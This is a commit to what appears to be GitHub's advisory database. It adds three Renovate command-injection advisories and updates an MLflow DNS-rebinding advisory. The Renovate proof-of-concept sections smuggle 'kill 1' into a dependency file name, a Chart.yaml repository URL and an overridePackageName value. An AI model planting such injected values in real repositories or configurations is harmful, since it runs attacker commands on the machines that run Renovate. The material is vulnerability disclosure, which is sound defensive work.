Skip to content

Commit f0d1ae5

Browse files
1 parent 278e63d commit f0d1ae5

5 files changed

Lines changed: 253 additions & 4 deletions

File tree

Lines changed: 55 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-36j9-mx87-2cff",
4+
"modified": "2026-01-13T20:28:41Z",
5+
"published": "2026-01-13T20:28:41Z",
6+
"aliases": [],
7+
"summary": "Renovate vulnerable to arbitrary command injection via hermit manager and maliciously named dependencies",
8+
"details": "### Summary\nThe user-provided string `depName` in the `hermit` manager is appended to the `./hermit install` and `./hermit uninstall` commands without proper sanitization.\n\n### Details\nAdversaries can provide a maliciously named hermit dependency in conjunctions with a tweaked Renovate configuration file to trick Renovate to execute arbitrary code.\nAll values added to the `packagesToInstall` and `packagesToUninstall` variables in [lib/modules/manager/hermit/artifacts.ts](https://github.com/renovatebot/renovate/blob/41e8b99f86a6e2a56f80f7aa1a08a59d76f2358c/lib/modules/manager/hermit/artifacts.ts) are not being escaped using the `quote` function from the `shlex` package.\nThis lack of proper sanitization for installing packages has been present in the product since the introduction of the hermit manager in version 32.135.0 (https://github.com/renovatebot/renovate/commit/b696abb3c2741508fbb4029f39153140a3722e1e), released on July 30 of 2022.\nIn version 37.199.1 (https://github.com/renovatebot/renovate/commit/eaec10d7c8afadbdd783ac47bd2adbfab444d6df) some use of the `quote` function from the `shlex` package was added, but not in a way that usefully prevented this arbitrary code injection vulnerability.\nWhen support for replacements was introduced with version 37.214.4 (https://github.com/renovatebot/renovate/commit/41e8b99f86a6e2a56f80f7aa1a08a59d76f2358c), the same faulty approach was replicated for uninstalling packages.\n\n### PoC\n1. Create a git repo with the following content:\n\n`renovate.json5`:\n\n```json5\n{\n $schema: \"https://docs.renovatebot.com/renovate-schema.json\",\n customDatasources: {\n always: {\n defaultRegistryUrlTemplate: \"https://docs.renovatebot.com/search/search_index.json\",\n transformTemplates: ['{\"releases\":[{\"version\":\"99999.0.0\"}]}'],\n },\n },\n packageRules: [\n {\n // Target of the day\n matchManagers: [\"hermit\"],\n // Trick the manager in believing there's a new version\n overrideDatasource: \"custom.always\",\n },\n ],\n}\n\n```\n\n\n`bin/hermit`:\n\n```bash\n#!/bin/bash\n#\n# THIS FILE IS GENERATED; DO NOT MODIFY\n\nset -eo pipefail\n\nexport HERMIT_USER_HOME=~\n\nif [ -z \"${HERMIT_STATE_DIR}\" ]; then\n case \"$(uname -s)\" in\n Darwin)\n export HERMIT_STATE_DIR=\"${HERMIT_USER_HOME}/Library/Caches/hermit\"\n ;;\n Linux)\n export HERMIT_STATE_DIR=\"${XDG_CACHE_HOME:-${HERMIT_USER_HOME}/.cache}/hermit\"\n ;;\n esac\nfi\n\nexport HERMIT_DIST_URL=\"${HERMIT_DIST_URL:-https://github.com/cashapp/hermit/releases/download/stable}\"\nHERMIT_CHANNEL=\"$(basename \"${HERMIT_DIST_URL}\")\"\nexport HERMIT_CHANNEL\nexport HERMIT_EXE=${HERMIT_EXE:-${HERMIT_STATE_DIR}/pkg/hermit@${HERMIT_CHANNEL}/hermit}\n\nif [ ! -x \"${HERMIT_EXE}\" ]; then\n echo \"Bootstrapping ${HERMIT_EXE} from ${HERMIT_DIST_URL}\" 1>&2\n INSTALL_SCRIPT=\"$(mktemp)\"\n # This value must match that of the install script\n INSTALL_SCRIPT_SHA256=\"09ed936378857886fd4a7a4878c0f0c7e3d839883f39ca8b4f2f242e3126e1c6\"\n if [ \"${INSTALL_SCRIPT_SHA256}\" = \"BYPASS\" ]; then\n curl -fsSL \"${HERMIT_DIST_URL}/install.sh\" -o \"${INSTALL_SCRIPT}\"\n else\n # Install script is versioned by its sha256sum value\n curl -fsSL \"${HERMIT_DIST_URL}/install-${INSTALL_SCRIPT_SHA256}.sh\" -o \"${INSTALL_SCRIPT}\"\n # Verify install script's sha256sum\n openssl dgst -sha256 \"${INSTALL_SCRIPT}\" | \\\n awk -v EXPECTED=\"$INSTALL_SCRIPT_SHA256\" \\\n '$2!=EXPECTED {print \"Install script sha256 \" $2 \" does not match \" EXPECTED; exit 1}'\n fi\n /bin/bash \"${INSTALL_SCRIPT}\" 1>&2\nfi\n\nexec \"${HERMIT_EXE}\" --level=fatal exec \"$0\" -- \"$@\"\n\n```\n\n\n`bin/.|| kill 1 ||@0.0.1.pkg` (symlink):\n\nA symlink to `hermit`\n\n2. Run Renovate against the repo from a Docker container. Notice that the process terminates without reporting \"Repository finished\", because the ACI vulnerability allowed for execution of `kill 1`, terminating the root process of the container.\n\n> [!NOTE]\n> This specific proof of concept was made a lot simpler with the introduction of the `overrideDatasource` configuration since version 38.120.0 (https://github.com/renovatebot/renovate/commit/a70a6a376d31148e80be5a5c885ac33ff5ddb30c), released on October 12 of 2024, because it means that there is no more need for a proper response from an actual hermit-packages repository during resolution.\n\n### Impact\nTThis is a Arbitrary Command Injection vulnerability, allowing those with write access on repositories configured to be scanned by Renovate to cause the execution of commands of their choice on the machine that runs Renovate.",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "npm",
19+
"name": "renovate"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "32.135.0"
27+
},
28+
{
29+
"fixed": "40.33.0"
30+
}
31+
]
32+
}
33+
]
34+
}
35+
],
36+
"references": [
37+
{
38+
"type": "WEB",
39+
"url": "https://github.com/renovatebot/renovate/security/advisories/GHSA-36j9-mx87-2cff"
40+
},
41+
{
42+
"type": "PACKAGE",
43+
"url": "https://github.com/renovatebot/renovate"
44+
}
45+
],
46+
"database_specific": {
47+
"cwe_ids": [
48+
"CWE-77"
49+
],
50+
"severity": "MODERATE",
51+
"github_reviewed": true,
52+
"github_reviewed_at": "2026-01-13T20:28:41Z",
53+
"nvd_published_at": null
54+
}
55+
}
Lines changed: 55 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-3f44-xw83-3pmg",
4+
"modified": "2026-01-13T20:29:12Z",
5+
"published": "2026-01-13T20:29:12Z",
6+
"aliases": [],
7+
"summary": "Renovate vulnerable to arbitrary command injection via helmv3 manager and malicious Chart.yaml file",
8+
"details": "### Summary\nThe user-provided string `repository` in the `helmv3` manager is appended to the `helm registry login` command without proper sanitization.\n\n### Details\nAdversaries can provide a maliciously crafted `Chart.yaml` in conjunctions with a tweaked Renovate configuration file to trick Renovate to execute arbitrary code.\nThe value for both uses of the `repository` variable in [lib/modules/manager/helmv3/common.ts](https://github.com/renovatebot/renovate/blob/b69416ce1745f67c9fc1d149738e2f52feb4f732/lib/modules/manager/helmv3/common.ts) are not being escaped using the `quote` function from the `shlex` package.\nThis lack of proper sanitization has been present in the product since version 31.51.0 (https://github.com/renovatebot/renovate/commit/f372a68144a4d78c9f7f418168e4efe03336a432), released on January 24 of 2022.\n\n### PoC\n1. Create a git repo with the following content:\n\n`renovate.json5`:\n\n```json5\n{\n $schema: \"https://docs.renovatebot.com/renovate-schema.json\",\n customDatasources: {\n always: {\n defaultRegistryUrlTemplate: \"https://docs.renovatebot.com/search/search_index.json\",\n transformTemplates: ['{\"releases\":[{\"version\":\"99999.0.0\"}]}'],\n },\n },\n // Register any credentials to make the manager attempt to use basic auth for the Helm registry\n hostRules: [\n {\n matchHost: \"charts.bitnami.com\",\n username: \"un\",\n password: \"pw\",\n },\n ],\n packageRules: [\n {\n // Target of the day\n matchManagers: [\"helmv3\"],\n // Don't consult the actual bitnami repo\n registryUrls: [],\n // But still, trick the manager in believing there's a new version\n overrideDatasource: \"custom.always\",\n },\n ],\n}\n\n```\n\n\n`Chart.yaml`:\n\n```yaml\napiVersion: v2\nname: renovate-aci-1\nversion: 0.0.1\ndependencies:\n - name: redis\n version: 0.1.0\n repository: oci://charts.bitnami.com/bitnami || kill 1\n\n```\n\n\n`Chart.lock`:\n\n```yaml\ndependencies:\n- name: redis\n repository: oci://charts.bitnami.com/bitnami\n```\n\n2. Run Renovate against the repo from a Docker container. Notice that the process terminates without reporting \"Repository finished\", because the ACI vulnerability allowed for execution of `kill 1`, terminating the root process of the container.\n\n> [!NOTE]\n> This specific proof of concept was made a lot simpler with the introduction of the `overrideDatasource` configuration since version 38.120.0 (https://github.com/renovatebot/renovate/commit/a70a6a376d31148e80be5a5c885ac33ff5ddb30c), released on October 12 of 2024, because it means that there is no more need for a proper response from an actual Helm registry on the malformed repository URL.\n\n### Impact\nThis is a Arbitrary Command Injection vulnerability, allowing those with write access on repositories configured to be scanned by Renovate to cause the execution of commands of their choice on the machine that runs Renovate.",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "npm",
19+
"name": "renovate"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "31.51.0"
27+
},
28+
{
29+
"fixed": "40.33.0"
30+
}
31+
]
32+
}
33+
]
34+
}
35+
],
36+
"references": [
37+
{
38+
"type": "WEB",
39+
"url": "https://github.com/renovatebot/renovate/security/advisories/GHSA-3f44-xw83-3pmg"
40+
},
41+
{
42+
"type": "PACKAGE",
43+
"url": "https://github.com/renovatebot/renovate"
44+
}
45+
],
46+
"database_specific": {
47+
"cwe_ids": [
48+
"CWE-77"
49+
],
50+
"severity": "MODERATE",
51+
"github_reviewed": true,
52+
"github_reviewed_at": "2026-01-13T20:29:12Z",
53+
"nvd_published_at": null
54+
}
55+
}
Lines changed: 55 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-fr4j-65pv-gjjj",
4+
"modified": "2026-01-13T20:28:16Z",
5+
"published": "2026-01-13T20:28:16Z",
6+
"aliases": [],
7+
"summary": "Renovate vulnerable to arbitrary command injection via npm manager and malicious Renovate configuration",
8+
"details": "### Summary\nThe user-provided string `packageName` in the `npm` manager is appended to the `npm install` command during lock maintenance without proper sanitization.\n\n\n### Details\nAdversaries can provide a maliciously crafted Renovate configuration file to trick Renovate to execute arbitrary code.\nThe user-provided workspace names and package keys that are added to the `updateCmd` variables in [lib/modules/manager/npm/post-update/npm.ts](https://github.com/renovatebot/renovate/blob/5bdaf47eebde770107017c47557bca41189db588/lib/modules/manager/npm/post-update/npm.ts) are not being escaped using the `quote` function from the `shlex` package.\nThis lack of proper sanitization has been present in the product since version 35.63.0 (https://github.com/renovatebot/renovate/commit/012c0ac2fe32832e60a62bde405c0a241efd314c), released on April 27 of 2023.\n\n### PoC\n1. Create a git repo with the following content:\n\n`renovate.json5`:\n\n```json5\n{\n $schema: \"https://docs.renovatebot.com/renovate-schema.json\",\n customDatasources: {\n always: {\n defaultRegistryUrlTemplate: \"https://docs.renovatebot.com/search/search_index.json\",\n transformTemplates: ['{\"releases\":[{\"version\":\"11.1.0\"}]}'],\n },\n },\n packageRules: [\n {\n // Target of the day\n matchManagers: [\"npm\"],\n // Provide a command in the package name\n overridePackageName: \"; kill 1; echo \",\n // Override the datasource to prevent a lookup failure\n overrideDatasource: \"custom.always\",\n },\n ],\n}\n\n```\n\n\n`package.json`:\n\n```json\n{\n \"name\": \"renovate-aci-4\",\n \"version\": \"0.0.1\",\n \"dependencies\": {\n \"uuid\": \"^11.0.0\"\n }\n}\n```\n\n\n`package-lock.json`:\n\n```json\n{\n \"name\": \"renovate-aci-4\",\n \"version\": \"0.0.1\",\n \"lockfileVersion\": 3,\n \"requires\": true,\n \"packages\": {\n \"\": {\n \"name\": \"renovate-aci-4\",\n \"version\": \"0.0.1\",\n \"dependencies\": {\n \"uuid\": \"^11.0.0\"\n }\n },\n \"node_modules/uuid\": {\n \"version\": \"11.0.0\",\n \"resolved\": \"https://registry.npmjs.org/uuid/-/uuid-11.0.0.tgz\",\n \"integrity\": \"sha512-iE8Fa5fgBY4rN5GvNUJ8TSwO1QG7TzdPfhrJczf6XJ6mZUxh/GX433N70fCiJL9h8EKP5ayEIo0Q6EBQGWHFqA==\",\n \"funding\": [\n \"https://github.com/sponsors/broofa\",\n \"https://github.com/sponsors/ctavan\"\n ],\n \"license\": \"MIT\",\n \"bin\": {\n \"uuid\": \"dist/esm/bin/uuid\"\n }\n }\n }\n}\n\n```\n\n2. Run Renovate against the repo from a Docker container. Notice that the process terminates without reporting \"Repository finished\", because the ACI vulnerability allowed for execution of `kill 1`, terminating the root process of the container.\n\n> [!NOTE]\n> This specific proof of concept relies on the introduction of the `overrideDatasource` and `overridePackageName` configuration, available since version 38.120.0 (https://github.com/renovatebot/renovate/commit/a70a6a376d31148e80be5a5c885ac33ff5ddb30c), released on October 12 of 2024.\n\n### Impact\nThis is a Arbitrary Command Injection vulnerability, allowing those with write access on repositories configured to be scanned by Renovate to cause the execution of commands of their choice on the machine that runs Renovate.",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "npm",
19+
"name": "renovate"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "35.63.0"
27+
},
28+
{
29+
"fixed": "40.33.0"
30+
}
31+
]
32+
}
33+
]
34+
}
35+
],
36+
"references": [
37+
{
38+
"type": "WEB",
39+
"url": "https://github.com/renovatebot/renovate/security/advisories/GHSA-fr4j-65pv-gjjj"
40+
},
41+
{
42+
"type": "PACKAGE",
43+
"url": "https://github.com/renovatebot/renovate"
44+
}
45+
],
46+
"database_specific": {
47+
"cwe_ids": [
48+
"CWE-77"
49+
],
50+
"severity": "MODERATE",
51+
"github_reviewed": true,
52+
"github_reviewed_at": "2026-01-13T20:28:16Z",
53+
"nvd_published_at": null
54+
}
55+
}

advisories/unreviewed/2026/01/GHSA-pgqp-8h46-6x4j/GHSA-pgqp-8h46-6x4j.json renamed to advisories/github-reviewed/2026/01/GHSA-pgqp-8h46-6x4j/GHSA-pgqp-8h46-6x4j.json

Lines changed: 33 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,28 +1,57 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-pgqp-8h46-6x4j",
4-
"modified": "2026-01-12T09:30:31Z",
4+
"modified": "2026-01-13T20:30:03Z",
55
"published": "2026-01-12T09:30:31Z",
66
"aliases": [
77
"CVE-2025-14279"
88
],
9+
"summary": "MLFlow is vulnerable to DNS rebinding attacks due to a lack of Origin header validation",
910
"details": "MLFlow versions up to and including 3.4.0 are vulnerable to DNS rebinding attacks due to a lack of Origin header validation in the MLFlow REST server. This vulnerability allows malicious websites to bypass Same-Origin Policy protections and execute unauthorized calls against REST endpoints. An attacker can query, update, and delete experiments via the affected endpoints, leading to potential data exfiltration, destruction, or manipulation. The issue is resolved in version 3.5.0.",
1011
"severity": [
1112
{
1213
"type": "CVSS_V3",
1314
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N"
1415
}
1516
],
16-
"affected": [],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "mlflow"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "3.5.0"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
1738
"references": [
1839
{
1940
"type": "ADVISORY",
2041
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-14279"
2142
},
43+
{
44+
"type": "WEB",
45+
"url": "https://github.com/mlflow/mlflow/pull/17910"
46+
},
2247
{
2348
"type": "WEB",
2449
"url": "https://github.com/mlflow/mlflow/commit/b0ffd289e9b0d0cc32c9e3a9b9f3843ae83dbec3"
2550
},
51+
{
52+
"type": "PACKAGE",
53+
"url": "https://github.com/mlflow/mlflow"
54+
},
2655
{
2756
"type": "WEB",
2857
"url": "https://huntr.com/bounties/ef478f72-2e4f-44dc-8055-fc06bef03108"
@@ -33,8 +62,8 @@
3362
"CWE-346"
3463
],
3564
"severity": "HIGH",
36-
"github_reviewed": false,
37-
"github_reviewed_at": null,
65+
"github_reviewed": true,
66+
"github_reviewed_at": "2026-01-13T20:30:03Z",
3867
"nvd_published_at": "2026-01-12T09:15:50Z"
3968
}
4069
}

0 commit comments

Comments
 (0)